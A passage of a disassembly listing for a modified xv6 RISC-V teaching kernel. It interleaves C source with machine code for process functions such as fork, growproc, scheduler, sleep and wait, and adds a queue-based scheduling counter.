auipc ra,0xfffff 80001ce6: 12e080e7 jalr 302(ra) # 80000e10 <safestrcpy> p->cwd = namei("/"); 80001cea: 00006517 auipc a0,0x6 80001cee: 51e50513 addi a0,a0,1310 # 80008208 <digits+0x1c8> 80001cf2: 00002097 auipc ra,0x2 80001cf6: 778080e7 jalr 1912(ra) # 8000446a <namei> 80001cfa: 16a4b823 sd a0,368(s1) p->state = RUNNABLE; 80001cfe: 478d li a5,3 80001d00: cc9c sw a5,24(s1) printf("here?\n"); 80001d02: 00006517 auipc a0,0x6 80001d06: 50e50513 addi a0,a0,1294 # 80008210 <digits+0x1d0> 80001d0a: fffff097 auipc ra,0xfffff 80001d0e: 86a080e7 jalr -1942(ra) # 80000574 <printf> acquire(&queue_lock); 80001d12: 0000f917 auipc s2,0xf 80001d16: 5be90913 addi s2,s2,1470 # 800112d0 <queue_lock> 80001d1a: 854a mv a0,s2 80001d1c: fffff097 auipc ra,0xfffff 80001d20: ea6080e7 jalr -346(ra) # 80000bc2 <acquire> p->queue_location = queue_counter; 80001d24: 00007717 auipc a4,0x7 80001d28: d2070713 addi a4,a4,-736 # 80008a44 <queue_counter> 80001d2c: 431c lw a5,0(a4) 80001d2e: c8bc sw a5,80(s1) queue_counter++; 80001d30: 2785 addiw a5,a5,1 80001d32: c31c sw a5,0(a4) release(&queue_lock); 80001d34: 854a mv a0,s2 80001d36: fffff097 auipc ra,0xfffff 80001d3a: f40080e7 jalr -192(ra) # 80000c76 <release> release(&p->lock); 80001d3e: 8526 mv a0,s1 80001d40: fffff097 auipc ra,0xfffff 80001d44: f36080e7 jalr -202(ra) # 80000c76 <release> } 80001d48: 60e2 ld ra,24(sp) 80001d4a: 6442 ld s0,16(sp) 80001d4c: 64a2 ld s1,8(sp) 80001d4e: 6902 ld s2,0(sp) 80001d50: 6105 addi sp,sp,32 80001d52: 8082 ret 0000000080001d54 <growproc>: { 80001d54: 1101 addi sp,sp,-32 80001d56: ec06 sd ra,24(sp) 80001d58: e822 sd s0,16(sp) 80001d5a: e426 sd s1,8(sp) 80001d5c: e04a sd s2,0(sp) 80001d5e: 1000 addi s0,sp,32 80001d60: 84aa mv s1,a0 struct proc *p = myproc(); 80001d62: 00000097 auipc ra,0x0 80001d66: c34080e7 jalr -972(ra) # 80001996 <myproc> 80001d6a: 892a mv s2,a0 sz = p->sz; 80001d6c: 752c ld a1,104(a0) 80001d6e: 0005861b sext.w a2,a1 if(n > 0){ 80001d72: 00904f63 bgtz s1,80001d90 <growproc+0x3c> } else if(n < 0){ 80001d76: 0204cc63 bltz s1,80001dae <growproc+0x5a> p->sz = sz; 80001d7a: 1602 slli a2,a2,0x20 80001d7c: 9201 srli a2,a2,0x20 80001d7e: 06c93423 sd a2,104(s2) return 0; 80001d82: 4501 li a0,0 } 80001d84: 60e2 ld ra,24(sp) 80001d86: 6442 ld s0,16(sp) 80001d88: 64a2 ld s1,8(sp) 80001d8a: 6902 ld s2,0(sp) 80001d8c: 6105 addi sp,sp,32 80001d8e: 8082 ret if((sz = uvmalloc(p->pagetable, sz, sz + n)) == 0) { 80001d90: 9e25 addw a2,a2,s1 80001d92: 1602 slli a2,a2,0x20 80001d94: 9201 srli a2,a2,0x20 80001d96: 1582 slli a1,a1,0x20 80001d98: 9181 srli a1,a1,0x20 80001d9a: 7928 ld a0,112(a0) 80001d9c: fffff097 auipc ra,0xfffff 80001da0: 652080e7 jalr 1618(ra) # 800013ee <uvmalloc> 80001da4: 0005061b sext.w a2,a0 80001da8: fa69 bnez a2,80001d7a <growproc+0x26> return -1; 80001daa: 557d li a0,-1 80001dac: bfe1 j 80001d84 <growproc+0x30> sz = uvmdealloc(p->pagetable, sz, sz + n); 80001dae: 9e25 addw a2,a2,s1 80001db0: 1602 slli a2,a2,0x20 80001db2: 9201 srli a2,a2,0x20 80001db4: 1582 slli a1,a1,0x20 80001db6: 9181 srli a1,a1,0x20 80001db8: 7928 ld a0,112(a0) 80001dba: fffff097 auipc ra,0xfffff 80001dbe: 5ec080e7 jalr 1516(ra) # 800013a6 <uvmdealloc> 80001dc2: 0005061b sext.w a2,a0 80001dc6: bf55 j 80001d7a <growproc+0x26> 0000000080001dc8 <fork>: { 80001dc8: 7139 addi sp,sp,-64 80001dca: fc06 sd ra,56(sp) 80001dcc: f822 sd s0,48(sp) 80001dce: f426 sd s1,40(sp) 80001dd0: f04a sd s2,32(sp) 80001dd2: ec4e sd s3,24(sp) 80001dd4: e852 sd s4,16(sp) 80001dd6: e456 sd s5,8(sp) 80001dd8: 0080 addi s0,sp,64 struct proc *p = myproc(); 80001dda: 00000097 auipc ra,0x0 80001dde: bbc080e7 jalr -1092(ra) # 80001996 <myproc> 80001de2: 8aaa mv s5,a0 if((np = allocproc()) == 0){ 80001de4: 00000097 auipc ra,0x0 80001de8: dc0080e7 jalr -576(ra) # 80001ba4 <allocproc> 80001dec: 14050763 beqz a0,80001f3a <fork+0x172> 80001df0: 89aa mv s3,a0 if(uvmcopy(p->pagetable, np->pagetable, p->sz) < 0){ 80001df2: 068ab603 ld a2,104(s5) 80001df6: 792c ld a1,112(a0) 80001df8: 070ab503 ld a0,112(s5) 80001dfc: fffff097 auipc ra,0xfffff 80001e00: 73e080e7 jalr 1854(ra) # 8000153a <uvmcopy> 80001e04: 04054c63 bltz a0,80001e5c <fork+0x94> np->sz = p->sz; 80001e08: 068ab783 ld a5,104(s5) 80001e0c: 06f9b423 sd a5,104(s3) *(np->trapframe) = *(p->trapframe); 80001e10: 078ab683 ld a3,120(s5) 80001e14: 87b6 mv a5,a3 80001e16: 0789b703 ld a4,120(s3) 80001e1a: 12068693 addi a3,a3,288 80001e1e: 0007b803 ld a6,0(a5) # 1000 <_entry-0x7ffff000> 80001e22: 6788 ld a0,8(a5) 80001e24: 6b8c ld a1,16(a5) 80001e26: 6f90 ld a2,24(a5) 80001e28: 01073023 sd a6,0(a4) 80001e2c: e708 sd a0,8(a4) 80001e2e: eb0c sd a1,16(a4) 80001e30: ef10 sd a2,24(a4) 80001e32: 02078793 addi a5,a5,32 80001e36: 02070713 addi a4,a4,32 80001e3a: fed792e3 bne a5,a3,80001e1e <fork+0x56> (np-> maskid) = (p->maskid); // modified 80001e3e: 034aa783 lw a5,52(s5) 80001e42: 02f9aa23 sw a5,52(s3) np->trapframe->a0 = 0; 80001e46: 0789b783 ld a5,120(s3) 80001e4a: 0607b823 sd zero,112(a5) for(i = 0; i < NOFILE; i++) 80001e4e: 0f0a8493 addi s1,s5,240 80001e52: 0f098913 addi s2,s3,240 80001e56: 170a8a13 addi s4,s5,368 80001e5a: a00d j 80001e7c <fork+0xb4> freeproc(np); 80001e5c: 854e mv a0,s3 80001e5e: 00000097 auipc ra,0x0 80001e62: cea080e7 jalr -790(ra) # 80001b48 <freeproc> release(&np->lock); 80001e66: 854e mv a0,s3 80001e68: fffff097 auipc ra,0xfffff 80001e6c: e0e080e7 jalr -498(ra) # 80000c76 <release> return -1; 80001e70: 597d li s2,-1 80001e72: a855 j 80001f26 <fork+0x15e> for(i = 0; i < NOFILE; i++) 80001e74: 04a1 addi s1,s1,8 80001e76: 0921 addi s2,s2,8 80001e78: 01448b63 beq s1,s4,80001e8e <fork+0xc6> if(p->ofile[i]) 80001e7c: 6088 ld a0,0(s1) 80001e7e: d97d beqz a0,80001e74 <fork+0xac> np->ofile[i] = filedup(p->ofile[i]); 80001e80: 00003097 auipc ra,0x3 80001e84: c84080e7 jalr -892(ra) # 80004b04 <filedup> 80001e88: 00a93023 sd a0,0(s2) 80001e8c: b7e5 j 80001e74 <fork+0xac> np->cwd = idup(p->cwd); 80001e8e: 170ab503 ld a0,368(s5) 80001e92: 00002097 auipc ra,0x2 80001e96: de4080e7 jalr -540(ra) # 80003c76 <idup> 80001e9a: 16a9b823 sd a0,368(s3) safestrcpy(np->name, p->name, sizeof(p->name)); 80001e9e: 4641 li a2,16 80001ea0: 178a8593 addi a1,s5,376 80001ea4: 17898513 addi a0,s3,376 80001ea8: fffff097 auipc ra,0xfffff 80001eac: f68080e7 jalr -152(ra) # 80000e10 <safestrcpy> pid = np->pid; 80001eb0: 0309a903 lw s2,48(s3) release(&np->lock); 80001eb4: 854e mv a0,s3 80001eb6: fffff097 auipc ra,0xfffff 80001eba: dc0080e7 jalr -576(ra) # 80000c76 <release> acquire(&wait_lock); 80001ebe: 0000f497 auipc s1,0xf 80001ec2: 3fa48493 addi s1,s1,1018 # 800112b8 <wait_lock> 80001ec6: 8526 mv a0,s1 80001ec8: fffff097 auipc ra,0xfffff 80001ecc: cfa080e7 jalr -774(ra) # 80000bc2 <acquire> np->parent = p; 80001ed0: 0559bc23 sd s5,88(s3) release(&wait_lock); 80001ed4: 8526 mv a0,s1 80001ed6: fffff097 auipc ra,0xfffff 80001eda: da0080e7 jalr -608(ra) # 80000c76 <release> acquire(&np->lock); 80001ede: 854e mv a0,s3 80001ee0: fffff097 auipc ra,0xfffff 80001ee4: ce2080e7 jalr -798(ra) # 80000bc2 <acquire> np->state = RUNNABLE; 80001ee8: 478d li a5,3 80001eea: 00f9ac23 sw a5,24(s3) acquire(&queue_lock); 80001eee: 0000f497 auipc s1,0xf 80001ef2: 3e248493 addi s1,s1,994 # 800112d0 <queue_lock> 80001ef6: 8526 mv a0,s1 80001ef8: fffff097 auipc ra,0xfffff 80001efc: cca080e7 jalr -822(ra) # 80000bc2 <acquire> np->queue_location = queue_counter; 80001f00: 00007717 auipc a4,0x7 80001f04: b4470713 addi a4,a4,-1212 # 80008a44 <queue_counter> 80001f08: 431c lw a5,0(a4) 80001f0a: 04f9a823 sw a5,80(s3) queue_counter++; 80001f0e: 2785 addiw a5,a5,1 80001f10: c31c sw a5,0(a4) release(&queue_lock); 80001f12: 8526 mv a0,s1 80001f14: fffff097 auipc ra,0xfffff 80001f18: d62080e7 jalr -670(ra) # 80000c76 <release> release(&np->lock); 80001f1c: 854e mv a0,s3 80001f1e: fffff097 auipc ra,0xfffff 80001f22: d58080e7 jalr -680(ra) # 80000c76 <release> } 80001f26: 854a mv a0,s2 80001f28: 70e2 ld ra,56(sp) 80001f2a: 7442 ld s0,48(sp) 80001f2c: 74a2 ld s1,40(sp) 80001f2e: 7902 ld s2,32(sp) 80001f30: 69e2 ld s3,24(sp) 80001f32: 6a42 ld s4,16(sp) 80001f34: 6aa2 ld s5,8(sp) 80001f36: 6121 addi sp,sp,64 80001f38: 8082 ret return -1; 80001f3a: 597d li s2,-1 80001f3c: b7ed j 80001f26 <fork+0x15e> 0000000080001f3e <scheduler>: { 80001f3e: 7175 addi sp,sp,-144 80001f40: e506 sd ra,136(sp) 80001f42: e122 sd s0,128(sp) 80001f44: fca6 sd s1,120(sp) 80001f46: f8ca sd s2,112(sp) 80001f48: f4ce sd s3,104(sp) 80001f4a: f0d2 sd s4,96(sp) 80001f4c: ecd6 sd s5,88(sp) 80001f4e: e8da sd s6,80(sp) 80001f50: e4de sd s7,72(sp) 80001f52: e0e2 sd s8,64(sp) 80001f54: fc66 sd s9,56(sp) 80001f56: f86a sd s10,48(sp) 80001f58: f46e sd s11,40(sp) 80001f5a: 0900 addi s0,sp,144 80001f5c: 8792 mv a5,tp int id = r_tp(); 80001f5e: 2781 sext.w a5,a5 c->proc = 0; 80001f60: 00779693 slli a3,a5,0x7 80001f64: 0000f717 auipc a4,0xf 80001f68: 33c70713 addi a4,a4,828 # 800112a0 <pid_lock> 80001f6c: 9736 add a4,a4,a3 80001f6e: 04073423 sd zero,72(a4) swtch(&c->context, &proc_for_exec->context); 80001f72: 0000f717 auipc a4,0xf 80001f76: 37e70713 addi a4,a4,894 # 800112f0 <cpus+0x8> 80001f7a: 9736 add a4,a4,a3 80001f7c: f8e43023 sd a4,-128(s0) int next_proc_for_exec=INT_MAX; 80001f80: 80000737 lui a4,0x80000 80001f84: fff74713 not a4,a4 80001f88: f8e43423 sd a4,-120(s0) acquire(&queue_lock); 80001f8c: 0000f997 auipc s3,0xf 80001f90: 34498993 addi s3,s3,836 # 800112d0 <queue_lock> for(p = proc; p < &proc[NPROC]; p++) { 80001f94: 00016b17 auipc s6,0x16 80001f98: 954b0b13 addi s6,s6,-1708 # 800178e8 <tickslock> c->proc = proc_for_exec; 80001f9c: 0000f717 auipc a4,0xf 80001fa0: 30470713 addi a4,a4,772 # 800112a0 <pid_lock> 80001fa4: 00d707b3 add a5,a4,a3 80001fa8: f6f43c23 sd a5,-136(s0) 80001fac: a8c9 j 8000207e <scheduler+0x140> release(&queue_lock); 80001fae: 854e mv a0,s3 80001fb0: fffff097 auipc ra,0xfffff 80001fb4: cc6080e7 jalr -826(ra) # 80000c76 <release> for(p = proc; p < &proc[NPROC]; p++) { 80001fb8: 036a7d63 bgeu s4,s6,80001ff2 <scheduler+0xb4> 80001fbc: 18848493 addi s1,s1,392 80001fc0: e7848a93 addi s5,s1,-392 acquire(&queue_lock); 80001fc4: 854e mv a0,s3 80001fc6: fffff097 auipc ra,0xfffff 80001fca: bfc080e7 jalr -1028(ra) # 80000bc2 <acquire> if (( (p->queue_location) >= min_search_index) && ( (p->queue_location) < next_proc_for_exec )){ 80001fce: 8a26 mv s4,s1 80001fd0: ec84a903 lw s2,-312(s1) 80001fd4: fd205de3 blez s2,80001fae <scheduler+0x70> 80001fd8: fd795be3 bge s2,s7,80001fae <scheduler+0x70> release(&queue_lock); 80001fdc: 854e mv a0,s3 80001fde: fffff097 auipc ra,0xfffff 80001fe2: c98080e7 jalr -872(ra) # 80000c76 <release> for(p = proc; p < &proc[NPROC]; p++) { 80001fe6: 0364f863 bgeu s1,s6,80002016 <scheduler+0xd8> 80001fea: 8cd6 mv s9,s5 next_proc_for_exec=p->queue_location; 80001fec: 8bca mv s7,s2 init_proc_for_exec=1; 80001fee: 8c6a mv s8,s10 80001ff0: b7f1 j 80001fbc <scheduler+0x7e> if (init_proc_for_exec == 1){ 80001ff2: 03ac0163 beq s8,s10,80002014 <scheduler+0xd6> asm volatile("csrr %0, sstatus" : "=r" (x) ); 80001ff6: 100027f3 csrr a5,sstatus w_sstatus(r_sstatus() | SSTATUS_SIE); 80001ffa: 0027e793 ori a5,a5,2 asm volatile("csrw sstatus, %0" : : "r" (x)); 80001ffe: 10079073 csrw sstatus,a5 for(p = proc; p < &proc[NPROC]; p++) { 80002002: 00010497 auipc s1,0x10 80002006: 86e48493 addi s1,s1,-1938 # 80011870 <proc+0x188> int init_proc_for_exec=0; 8000200a: 8c6e mv s8,s11 struct proc *proc_for_exec=0; 8000200c: 8cee mv s9,s11 int next_proc_for_exec=INT_MAX; 8000200e: f8843b83 ld s7,-120(s0) 80002012: b77d j 80001fc0 <scheduler+0x82> 80002014: 8ae6 mv s5,s9 acquire(&proc_for_exec->lock); 80002016: 84d6 mv s1,s5 80002018: 8556 mv a0,s5 8000201a: fffff097 auipc ra,0xfffff 8000201e: ba8080e7 jalr -1112(ra) # 80000bc2 <acquire> if(proc_for_exec->state == RUNNABLE) { 80002022: 018aa703 lw a4,24(s5) 80002026: 478d li a5,3 80002028: 04f71663 bne a4,a5,80002074 <scheduler+0x136> acquire(&queue_lock); 8000202c: 854e mv a0,s3 8000202e: fffff097 auipc ra,0xfffff 80002032: b94080e7 jalr -1132(ra) # 80000bc2 <acquire> p->queue_location = queue_counter; 80002036: 00007717 auipc a4,0x7 8000203a: a0e70713 addi a4,a4,-1522 # 80008a44 <queue_counter> 8000203e: 431c lw a5,0(a4) 80002040: 04fa2823 sw a5,80(s4) queue_counter++; 80002044: 2785 addiw a5,a5,1 80002046: c31c sw a5,0(a4) release(&queue_lock); 80002048: 854e mv a0,s3 8000204a: fffff097 auipc ra,0xfffff 8000204e: c2c080e7 jalr -980(ra) # 80000c76 <release> proc_for_exec->state = RUNNING; 80002052: 4791 li a5,4 80002054: 00faac23 sw a5,24(s5) c->proc = proc_for_exec; 80002058: f7843903 ld s2,-136(s0) 8000205c: 05593423 sd s5,72(s2) swtch(&c->context, &proc_for_exec->context); 80002060: 080a8593 addi a1,s5,128 80002064: f8043503 ld a0,-128(s0) 80002068: 00001097 auipc ra,0x1 8000206c: a34080e7 jalr -1484(ra) # 80002a9c <swtch> c->proc = 0; 80002070: 04093423 sd zero,72(s2) release(&proc_for_exec->lock); 80002074: 8526 mv a0,s1 80002076: fffff097 auipc ra,0xfffff 8000207a: c00080e7 jalr -1024(ra) # 80000c76 <release> int init_proc_for_exec=0; 8000207e: 4d81 li s11,0 init_proc_for_exec=1; 80002080: 4d05 li s10,1 80002082: bf95 j 80001ff6 <scheduler+0xb8> 0000000080002084 <sched>: { 80002084: 7179 addi sp,sp,-48 80002086: f406 sd ra,40(sp) 80002088: f022 sd s0,32(sp) 8000208a: ec26 sd s1,24(sp) 8000208c: e84a sd s2,16(sp) 8000208e: e44e sd s3,8(sp) 80002090: 1800 addi s0,sp,48 struct proc *p = myproc(); 80002092: 00000097 auipc ra,0x0 80002096: 904080e7 jalr -1788(ra) # 80001996 <myproc> 8000209a: 84aa mv s1,a0 if(!holding(&p->lock)) 8000209c: fffff097 auipc ra,0xfffff 800020a0: aac080e7 jalr -1364(ra) # 80000b48 <holding> 800020a4: c93d beqz a0,8000211a <sched+0x96> asm volatile("mv %0, tp" : "=r" (x) ); 800020a6: 8792 mv a5,tp if(mycpu()->noff != 1) 800020a8: 2781 sext.w a5,a5 800020aa: 079e slli a5,a5,0x7 800020ac: 0000f717 auipc a4,0xf 800020b0: 1f470713 addi a4,a4,500 # 800112a0 <pid_lock> 800020b4: 97ba add a5,a5,a4 800020b6: 0c07a703 lw a4,192(a5) 800020ba: 4785 li a5,1 800020bc: 06f71763 bne a4,a5,8000212a <sched+0xa6> if(p->state == RUNNING) 800020c0: 4c98 lw a4,24(s1) 800020c2: 4791 li a5,4 800020c4: 06f70b63 beq a4,a5,8000213a <sched+0xb6> asm volatile("csrr %0, sstatus" : "=r" (x) ); 800020c8: 100027f3 csrr a5,sstatus return (x & SSTATUS_SIE) != 0; 800020cc: 8b89 andi a5,a5,2 if(intr_get()) 800020ce: efb5 bnez a5,8000214a <sched+0xc6> asm volatile("mv %0, tp" : "=r" (x) ); 800020d0: 8792 mv a5,tp intena = mycpu()->intena; 800020d2: 0000f917 auipc s2,0xf 800020d6: 1ce90913 addi s2,s2,462 # 800112a0 <pid_lock> 800020da: 2781 sext.w a5,a5 800020dc: 079e slli a5,a5,0x7 800020de: 97ca add a5,a5,s2 800020e0: 0c47a983 lw s3,196(a5) 800020e4: 8792 mv a5,tp swtch(&p->context, &mycpu()->context); 800020e6: 2781 sext.w a5,a5 800020e8: 079e slli a5,a5,0x7 800020ea: 0000f597 auipc a1,0xf 800020ee: 20658593 addi a1,a1,518 # 800112f0 <cpus+0x8> 800020f2: 95be add a1,a1,a5 800020f4: 08048513 addi a0,s1,128 800020f8: 00001097 auipc ra,0x1 800020fc: 9a4080e7 jalr -1628(ra) # 80002a9c <swtch> 80002100: 8792 mv a5,tp mycpu()->intena = intena; 80002102: 2781 sext.w a5,a5 80002104: 079e slli a5,a5,0x7 80002106: 97ca add a5,a5,s2 80002108: 0d37a223 sw s3,196(a5) } 8000210c: 70a2 ld ra,40(sp) 8000210e: 7402 ld s0,32(sp) 80002110: 64e2 ld s1,24(sp) 80002112: 6942 ld s2,16(sp) 80002114: 69a2 ld s3,8(sp) 80002116: 6145 addi sp,sp,48 80002118: 8082 ret panic("sched p->lock"); 8000211a: 00006517 auipc a0,0x6 8000211e: 0fe50513 addi a0,a0,254 # 80008218 <digits+0x1d8> 80002122: ffffe097 auipc ra,0xffffe 80002126: 408080e7 jalr 1032(ra) # 8000052a <panic> panic("sched locks"); 8000212a: 00006517 auipc a0,0x6 8000212e: 0fe50513 addi a0,a0,254 # 80008228 <digits+0x1e8> 80002132: ffffe097 auipc ra,0xffffe 80002136: 3f8080e7 jalr 1016(ra) # 8000052a <panic> panic("sched running"); 8000213a: 00006517 auipc a0,0x6 8000213e: 0fe50513 addi a0,a0,254 # 80008238 <digits+0x1f8> 80002142: ffffe097 auipc ra,0xffffe 80002146: 3e8080e7 jalr 1000(ra) # 8000052a <panic> panic("sched interruptible"); 8000214a: 00006517 auipc a0,0x6 8000214e: 0fe50513 addi a0,a0,254 # 80008248 <digits+0x208> 80002152: ffffe097 auipc ra,0xffffe 80002156: 3d8080e7 jalr 984(ra) # 8000052a <panic> 000000008000215a <yield>: { 8000215a: 1101 addi sp,sp,-32 8000215c: ec06 sd ra,24(sp) 8000215e: e822 sd s0,16(sp) 80002160: e426 sd s1,8(sp) 80002162: e04a sd s2,0(sp) 80002164: 1000 addi s0,sp,32 struct proc *p = myproc(); 80002166: 00000097 auipc ra,0x0 8000216a: 830080e7 jalr -2000(ra) # 80001996 <myproc> 8000216e: 84aa mv s1,a0 acquire(&p->lock); 80002170: fffff097 auipc ra,0xfffff 80002174: a52080e7 jalr -1454(ra) # 80000bc2 <acquire> p->state = RUNNABLE; 80002178: 478d li a5,3 8000217a: cc9c sw a5,24(s1) acquire(&queue_lock); 8000217c: 0000f917 auipc s2,0xf 80002180: 15490913 addi s2,s2,340 # 800112d0 <queue_lock> 80002184: 854a mv a0,s2 80002186: fffff097 auipc ra,0xfffff 8000218a: a3c080e7 jalr -1476(ra) # 80000bc2 <acquire> p->queue_location = queue_counter; 8000218e: 00007717 auipc a4,0x7 80002192: 8b670713 addi a4,a4,-1866 # 80008a44 <queue_counter> 80002196: 431c lw a5,0(a4) 80002198: c8bc sw a5,80(s1) queue_counter++; 8000219a: 2785 addiw a5,a5,1 8000219c: c31c sw a5,0(a4) release(&queue_lock); 8000219e: 854a mv a0,s2 800021a0: fffff097 auipc ra,0xfffff 800021a4: ad6080e7 jalr -1322(ra) # 80000c76 <release> sched(); 800021a8: 00000097 auipc ra,0x0 800021ac: edc080e7 jalr -292(ra) # 80002084 <sched> release(&p->lock); 800021b0: 8526 mv a0,s1 800021b2: fffff097 auipc ra,0xfffff 800021b6: ac4080e7 jalr -1340(ra) # 80000c76 <release> } 800021ba: 60e2 ld ra,24(sp) 800021bc: 6442 ld s0,16(sp) 800021be: 64a2 ld s1,8(sp) 800021c0: 6902 ld s2,0(sp) 800021c2: 6105 addi sp,sp,32 800021c4: 8082 ret 00000000800021c6 <sleep>: // Atomically release lock and sleep on chan. // Reacquires lock when awakened. void sleep(void *chan, struct spinlock *lk) { 800021c6: 7179 addi sp,sp,-48 800021c8: f406 sd ra,40(sp) 800021ca: f022 sd s0,32(sp) 800021cc: ec26 sd s1,24(sp) 800021ce: e84a sd s2,16(sp) 800021d0: e44e sd s3,8(sp) 800021d2: 1800 addi s0,sp,48 800021d4: 89aa mv s3,a0 800021d6: 892e mv s2,a1 struct proc *p = myproc(); 800021d8: fffff097 auipc ra,0xfffff 800021dc: 7be080e7 jalr 1982(ra) # 80001996 <myproc> 800021e0: 84aa mv s1,a0 // Once we hold p->lock, we can be // guaranteed that we won't miss any wakeup // (wakeup locks p->lock), // so it's okay to release lk. acquire(&p->lock); //DOC: sleeplock1 800021e2: fffff097 auipc ra,0xfffff 800021e6: 9e0080e7 jalr -1568(ra) # 80000bc2 <acquire> release(lk); 800021ea: 854a mv a0,s2 800021ec: fffff097 auipc ra,0xfffff 800021f0: a8a080e7 jalr -1398(ra) # 80000c76 <release> // Go to sleep. p->chan = chan; 800021f4: 0334b023 sd s3,32(s1) p->state = SLEEPING; 800021f8: 4789 li a5,2 800021fa: cc9c sw a5,24(s1) sched(); 800021fc: 00000097 auipc ra,0x0 80002200: e88080e7 jalr -376(ra) # 80002084 <sched> // Tidy up. p->chan = 0; 80002204: 0204b023 sd zero,32(s1) // Reacquire original lock. release(&p->lock); 80002208: 8526 mv a0,s1 8000220a: fffff097 auipc ra,0xfffff 8000220e: a6c080e7 jalr -1428(ra) # 80000c76 <release> acquire(lk); 80002212: 854a mv a0,s2 80002214: fffff097 auipc ra,0xfffff 80002218: 9ae080e7 jalr -1618(ra) # 80000bc2 <acquire> } 8000221c: 70a2 ld ra,40(sp) 8000221e: 7402 ld s0,32(sp) 80002220: 64e2 ld s1,24(sp) 80002222: 6942 ld s2,16(sp) 80002224: 69a2 ld s3,8(sp) 80002226: 6145 addi sp,sp,48 80002228: 8082 ret 000000008000222a <wait>: { 8000222a: 715d addi sp,sp,-80 8000222c: e486 sd ra,72(sp) 8000222e: e0a2 sd s0,64(sp) 80002230: fc26 sd s1,56(sp) 80002232: f84a sd s2,48(sp) 80002234: f44e sd s3,40(sp) 80002236: f052 sd s4,32(sp) 80002238: ec56 sd s5,24(sp) 8000223a: e85a sd s6,16(sp) 8000223c: e45e sd s7,8(sp) 8000223e: e062 sd s8,0(sp) 80002240: 0880 addi s0,sp,80 80002242: 8b2a mv s6,a0 struct proc *p = myproc(); 80002244: fffff097 auipc ra,0xfffff 80002248: 752080e7 jalr 1874(ra) # 80001996 <myproc> 8000224c: 892a mv s2,a0 acquire(&wait_lock); 8000224e: 0000f517 auipc a0,0xf 80002252: 06a50513 addi a0,a0,106 # 800112b8 <wait_lock> 80002256: fffff097 auipc ra,0xfffff 8000225a: 96c080e7 jalr -1684(ra) # 80000bc2 <acquire> havekids = 0; 8000225e: 4b81 li s7,0 if(np->state == ZOMBIE){ 80002260: 4a15 li s4,5 havekids = 1; 80002262: 4a85 li s5,1 for(np = proc; np < &proc[NPROC]; np++){ 80002264: 00015997 auipc s3,0x15 80002268: 68498993 addi s3,s3,1668 # 800178e8 <tickslock> sleep(p, &wait_lock); //DOC: wait-sleep 8000226c: 0000fc17 auipc s8,0xf 80002270: 04cc0c13 addi s8,s8,76 # 800112b8 <wait_lock> havekids = 0; 80002274: 875e mv a4,s7 for(np = proc; np < &proc[NPROC]; np++){ 80002276: 0000f497 auipc s1,0xf 8000227a: 47248493 addi s1,s1,1138 # 800116e8 <proc> 8000227e: a0bd j 800022ec <wait+0xc2> pid = np->pid; 80002280: 0304a983 lw s3,48(s1) if(addr != 0 && copyout(p->pagetable, addr, (char *)&np->xstate, 80002284: 000b0e63 beqz s6,800022a0 <wait+0x76> 80002288: 4691 li a3,4 8000228a: 02c48613 addi a2,s1,44 8000228e: 85da mv a1,s6 80002290: 07093503 ld a0,112(s2) 80002294: fffff097 auipc ra,0xfffff 80002298: 3aa080e7 jalr 938(ra) # 8000163e <copyout> 8000229c: 02054563 bltz a0,800022c6 <wait+0x9c> freeproc(np); 800022a0: 8526 mv a0,s1 800022a2: 00000097 auipc ra,0x0 800022a6: 8a6080e7 jalr -1882(ra) # 80001b48 <freeproc> release(&np->lock); 800022aa: 8526 mv a0,s1 800022ac: fffff097 auipc ra,0xfffff 800022b0: 9ca080e7 jalr -1590(ra) # 80000c76 <release> release(&wait_lock); 800022b4: 0000f517 auipc a0,0xf 800022b8: 00450513 addi a0,a0,4 # 800112b8 <wait_lock> 800022bc: fffff097 auipc ra,0xfffff 800022c0: 9ba080e7 jalr -1606(ra) # 80000c76 <release> return pid; 800022c4: a09d j 8000232a <wait+0x100> release(&np->lock); 800022c6: 8526 mv a0,s1 800022c8: fffff097 auipc ra,0xfffff 800022cc: 9ae080e7 jalr -1618(ra) # 80000c76 <release> release(&wait_lock); 800022d0: 0000f517 auipc a0,0xf 800022d4: fe850513 addi a0,a0,-24 # 800112b8 <wait_lock> 800022d8: fffff097 auipc ra,0xfffff 800022dc: 99e080e7 jalr -1634(ra) # 80000c76 <release> return -1; 800022e0: 59fd li s3,-1 800022e2: a0a1 j 8000232a <wait+0x100> for(np = proc; np < &proc[NPROC]; np++){ 800022e4: 18848493 addi s1,s1,392 800022e8: 03348463 beq s1,s3,80002310 <wait+0xe6> if(np->parent == p){ 800022ec: 6cbc ld a5,88(s1) 800022ee: ff279be3 bne a5,s2,800022e4 <wait+0xba> acquire(&np->lock); 800022f2: 8526 mv a0,s1 800022f4: fffff097 auipc ra,0xfffff 800022f8: 8ce080e7 jalr -1842(ra) # 80000bc2 <acquire> if(np->state == ZOMBIE){ 800022fc: 4c9c lw a5,24(s1) 800022fe: f94781e3 beq a5,s4,80002280 <wait+0x56> release(&np->lock); 80002302: 8526 mv a0,s1 80002304: fffff097 auipc ra,0xfffff 80002308: 972080e7 jalr -1678(ra) # 80000c76 <release> havekids = 1; 8000230c: 8756 mv a4,s5 8000230e: bfd9 j 800022e4 <wait+0xba> if(!havekids || p->killed){ 80002310: c701 beqz a4,80002318 <wait+0xee> 80002312: 02892783 lw a5,40(s2) 80002316: c79d beqz a5,80002344 <wait+0x11a> release(&wait_lock); 80002318: 0000f517 auipc a0,0xf 8000231c: fa050513 addi a0,a0,-96 # 800112b8 <wait_lock> 80002320: fffff097 auipc ra,0xfffff 80002324: 956080e7 jalr -1706(ra) # 80000c76 <release> return -1; 80002328: 59fd li s3,-1 } 8000232a: 854e mv a0,s3 8000232c: 60a6 ld ra,72(sp) 8000232e: 6406 ld s0,64(sp) 80002330: 74e2 ld s1,56(sp) 80002332: 7942 ld s2,48(sp) 80002334: 79a2 ld s3,40(sp) 80002336: 7a02 ld s4,32(sp) 80002338: 6ae2 ld s5,24(sp) 8000233a: 6b42 ld s6,16(sp) 8000233c: 6ba2 ld s7,8(sp) 8000233e: 6c02 ld s8,0(sp) 80002340: 6161 addi sp,sp,80 80002342: 8082 ret sleep(p, &wait_lock); //DOC: wait-sleep 80002344: 85e2 mv a1,s8 80002346: 854a mv a0,s2 80002348: 00000097 auipc ra,0x0 8000234c: e7e080e7 jalr -386(ra) # 800021c6 <sleep> havekids = 0; 80002350: b715 j 80002274 <wait+0x4a> 0000000080002352 <wakeup>: // Wake up all processes sleeping on chan. // Must be called without any p->lock. void wakeup(void *chan) { 80002352: 715d addi sp,sp,-80 80002354: e486 sd ra,72(sp) 80002356: e0a2 sd s0,64(sp) 80002358: fc26 sd s1,56(sp) 8000235a: f84a sd s2,48(sp) 